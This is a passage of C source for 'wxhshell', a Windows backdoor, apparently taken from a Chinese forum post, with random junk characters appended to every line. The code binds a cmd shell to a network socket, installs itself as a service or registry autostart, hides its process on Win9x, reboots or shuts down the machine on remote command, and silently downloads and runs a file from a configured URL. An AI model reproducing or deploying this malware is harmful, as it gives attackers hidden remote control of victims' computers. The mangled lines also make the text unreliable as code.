  else { })P O7:  
d .p'pGL  
    switch(cmd[0]) {  c-5Ysg  
  ;= a_B1"9u  
  // 帮助 B[CA 5Ry  
  case '?': { 44~hw:   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zZ: xEc  
    break; w-ALCh8o  
  } Fwb5u!_,  
  // 安装 aZ6'|S;  
  case 'i': { <6/= y1QC)  
    if(Install()) 0'`S,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6lsEGe  
    else t{zBC?c R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *jE;9^  
    break; h48YDWwy  
    } h,t:]  
  // 卸载 P3!Atnv2  
  case 'r': { z6I%wh  
    if(Uninstall()) J'e]x[Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z|I-BPyn  
    else W qE '(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pM9yOY  
    break; 2e59Ez%k6  
    } ^&Q< tN 7  
  // 显示 wxhshell 所在路径 E=]]b;u-n  
  case 'p': { et` 0Je  
    char svExeFile[MAX_PATH]; QD$Gw-U-l=  
    strcpy(svExeFile,"\n\r"); FAw1o  
      strcat(svExeFile,ExeFile); hO \/  
        send(wsh,svExeFile,strlen(svExeFile),0); s1 bU  
    break; hO3 {  
    } Wo!;K|~P  
  // 重启 u h )o  
  case 'b': { CW p#^1F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1'Rmg\(  
    if(Boot(REBOOT)) Xh}&uZ`A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9 I{/zKq  
    else { 8Q=ZH=SQK  
    closesocket(wsh); : y1Bt+Fp  
    ExitThread(0); '1-maM\r  
    } =ewyQ  
    break; :IZ"D40m"  
    } ,F9nDF@)  
  // 关机 &I/qG`W  
  case 'd': { 2.nE k  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <*wM=aq  
    if(Boot(SHUTDOWN)) 8{ gXToK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); psUE!~9,  
    else { nZ E)_  
    closesocket(wsh); +D`*\d1  
    ExitThread(0); MA* :<l  
    } R/~,i;d>  
    break; 0%#\w*X8  
    } G\kpUdj}  
  // 获取shell 4MLH+/e  
  case 's': { Oaa"T8t  
    CmdShell(wsh); (%'9CfPx  
    closesocket(wsh); .Y\EE;8%  
    ExitThread(0); Ee)xnY%(  
    break; gCJIIzl%Bh  
  } hqDqt"dKz  
  // 退出 9:8|)a(1  
  case 'x': { EI1? GB)b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o\!qcoE2W  
    CloseIt(wsh); #]Y*0Wzpfn  
    break; T$P-<s  
    } 5JSrrpGr  
  // 离开 x)oRSsv!Tr  
  case 'q': { :FHA]oec1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ej"u1F14J  
    closesocket(wsh); !YE zFU`L  
    WSACleanup(); # yN*',I&  
    exit(1); !%[S49s  
    break; ].mqxf  
        } Z h'&-c_J  
  } bK*~ol  
  } Qihdn66  
VteEDL/w  
  // 提示信息 f<=Fe:1.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^$NJD  
} 6R4<J% $P  
  } ^R~~L  
Q2QY* A  
  return; n>FY?  
} e|lD:_1i  
s&Yi 6:J  
// shell模块句柄  v~=\H  
int CmdShell(SOCKET sock) v("wKHWTI@  
{ r*XLV{+4  
STARTUPINFO si; N$#\Xdo  
ZeroMemory(&si,sizeof(si)); G%{0i20_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QJBr6   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #*^+F?o,(  
PROCESS_INFORMATION ProcessInfo; [po "To  
char cmdline[]="cmd"; ^+/kr/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %l !xkCKA  
  return 0; OZ(dpV9.S  
} xDjV `E]  
NX,-;v  
// 自身启动模式 qLK?%?.N<  
int StartFromService(void) Jp~zX lu  
{ RE"^ )-  
typedef struct -d=WV:G%e  
{ >*1}1~uU`'  
  DWORD ExitStatus; qTmD '2  
  DWORD PebBaseAddress; ,hRN\Kt)p  
  DWORD AffinityMask; $>q@SJ1q  
  DWORD BasePriority; !#N\ b  
  ULONG UniqueProcessId; ^}$O|t  
  ULONG InheritedFromUniqueProcessId; K7(MD1tk  
}   PROCESS_BASIC_INFORMATION; qoX@@xr1  
B\CN<<N>dD  
PROCNTQSIP NtQueryInformationProcess; m%r/O&g  
iiC!|`k"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K=\O5#F?3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l#qv 5f  
uGVy6,  
  HANDLE             hProcess; CIC[1,  
  PROCESS_BASIC_INFORMATION pbi; nJFg^s 1  
e2)autBe  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,kM)7!]N  
  if(NULL == hInst ) return 0; @N.jB#nEb  
k$i'v:c|:i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7 hw .B'7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .*/Fucr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #"*e+.j[;  
L>9R4:g  
  if (!NtQueryInformationProcess) return 0; G}zZQy  
H=^K@Ti:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gP}+wbk  
  if(!hProcess) return 0; iCQ>@P]nE  
5Fw - d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; AC- )BM';  
b/("Y.r=  
  CloseHandle(hProcess); ~$,qgf  
4'>1HW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _lxco=qd=%  
if(hProcess==NULL) return 0; j?i#L}.I  
S?0$?w?  
HMODULE hMod; l.=p8-/$'7  
char procName[255]; g=8un`]7  
unsigned long cbNeeded; !q"cpL'4  
42C<1@>zO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \Y|*Nee}XP  
Me3dpF  
  CloseHandle(hProcess); 2DDsWJ;  
\?fIt?  
if(strstr(procName,"services")) return 1; // 以服务启动 } p:%[  
%&<LNEiUN  
  return 0; // 注册表启动 (P|pRVO  
} !nf-}z e{  
t+Bf#:  
// 主模块 8?FueAM'  
int StartWxhshell(LPSTR lpCmdLine) GZ#aj|  
{ ]$iqa"{  
  SOCKET wsl; 3lxc4@Zmd  
BOOL val=TRUE; L"+$Wc[|  
  int port=0; 2f:^S/.A  
  struct sockaddr_in door; 0Q9T3X  
)xU-;z0"~  
  if(wscfg.ws_autoins) Install(); 6;b9swmh  
XP?rOOn  
port=atoi(lpCmdLine); ssQ BSbx  
2\<.0  
if(port<=0) port=wscfg.ws_port; p s|)cW3`  
kGYTl,A{  
  WSADATA data; tln37vq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5]Ajf;W\  
}FqA ppr  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r?$ ?;%|C  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w}cY6O,1  
  door.sin_family = AF_INET; dl]#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Yl cbW0'c  
  door.sin_port = htons(port); V*[b} Xew  
afG{lWE)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~.g3ukt  
closesocket(wsl); 8MwK.H[U  
return 1; ( )T[$.(  
} clO,}Ph>  
 k+ o|0  
  if(listen(wsl,2) == INVALID_SOCKET) { 7A$B{  
closesocket(wsl);  vb{i  
return 1; r#i?j}F}  
} \_6OCVil  
  Wxhshell(wsl); P\2M[Gu(Q  
  WSACleanup(); #;KsJb)N.  
$14:(<  
return 0; vG41Ck1  
~+F;q vq  
} ?9+@+q  
rJyCw+N0  
// 以NT服务方式启动 >h~IfZU1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) je,}_:7  
{ = "ts`>  
DWORD   status = 0; +a@GHx 4-  
  DWORD   specificError = 0xfffffff; lEjwgk {  
V >-b`e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~l[r a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; uq3{h B#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F"+o@9]  
  serviceStatus.dwWin32ExitCode     = 0; m` AK~O2  
  serviceStatus.dwServiceSpecificExitCode = 0; D=f7NVc>Q  
  serviceStatus.dwCheckPoint       = 0; : esg(  
  serviceStatus.dwWaitHint       = 0; z,SYw &S  
Aj>[z8!,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }GwVKAjP  
  if (hServiceStatusHandle==0) return; Ka!I`Yf  
I<oL}f  
status = GetLastError(); C)-^<  
  if (status!=NO_ERROR) \*vHB`.,ey  
{ Nh?| RE0t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; QbFHfA2Ij  
    serviceStatus.dwCheckPoint       = 0; q<vf,D@{ !  
    serviceStatus.dwWaitHint       = 0; I&yVx8aH}  
    serviceStatus.dwWin32ExitCode     = status; Wzq>JNn y  
    serviceStatus.dwServiceSpecificExitCode = specificError; c~}l8M %  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tb;d.^  
    return; upn~5>uCP  
  } >pyj]y^3  
Njc%_&r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dhPKHrS  
  serviceStatus.dwCheckPoint       = 0; XUMX*  
  serviceStatus.dwWaitHint       = 0; w&h 2y4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &7mW9]  
} .1 )RW5|c  
I5ss0JSl/  
// 处理NT服务事件,比如:启动、停止 ={2!c0s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) nwI3|&  
{ gO?44^hMe  
switch(fdwControl) @LE[ac  
{ f7urJ'!V  
case SERVICE_CONTROL_STOP: X?r48l??  
  serviceStatus.dwWin32ExitCode = 0; b p<^R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l(W[_ D  
  serviceStatus.dwCheckPoint   = 0; 4Aes#{R3v  
  serviceStatus.dwWaitHint     = 0; q}|U4MJm  
  { M+>`sj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Oft arD  
  } Y&bM CI6U  
  return; Ue:z1p;g  
case SERVICE_CONTROL_PAUSE: D |bBu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; R"Liz3Vl%  
  break; 6SM:x]`##,  
case SERVICE_CONTROL_CONTINUE: Nt`b;X&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;#+0L$<t  
  break; G#`\(NW  
case SERVICE_CONTROL_INTERROGATE: _cH@I?B  
  break; b}9[s  
}; FwAKP>6*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @~ Dh'w2q  
} c~,23wP1  
eitu!=u  
// 标准应用程序主函数 b8KsR=]4I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c{#yx_)V&  
{ \0;(VLN'U  
*O$CaAr\s  
// 获取操作系统版本 f|EUqu%E  
OsIsNt=GetOsVer(); 7v}x?I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2RtHg_d_l  
k8nLo.O  
  // 从命令行安装 qem(s</:  
  if(strpbrk(lpCmdLine,"iI")) Install(); u^W2UE\  
v5ur&egVs  
  // 下载执行文件 4'pS*v  
if(wscfg.ws_downexe) { zoDZZ%{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fIC9WbiH-  
  WinExec(wscfg.ws_filenam,SW_HIDE); P'Q$d+F,  
} SkNre$>t{  
j=+"Qz/hr_  
if(!OsIsNt) { ^H'a4G3  
// 如果时win9x,隐藏进程并且设置为注册表启动 EpPf _ \o  
HideProc(); ^4Am %yyT  
StartWxhshell(lpCmdLine); `b5 @}',  
} >RI>J.~  
else GyI-)Bl DC  
  if(StartFromService()) ~ AQp|  
  // 以服务方式启动 3:/'n  
  StartServiceCtrlDispatcher(DispatchTable); 9%)=`W  
else O09ke-lC  
  // 普通方式启动 ,1{Ep`  
  StartWxhshell(lpCmdLine); hqSJ(gs{  
!/{+WHxIr|  
return 0; Oc?+M 5  
}
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只看该作者 1 发表于: 2006-10-10
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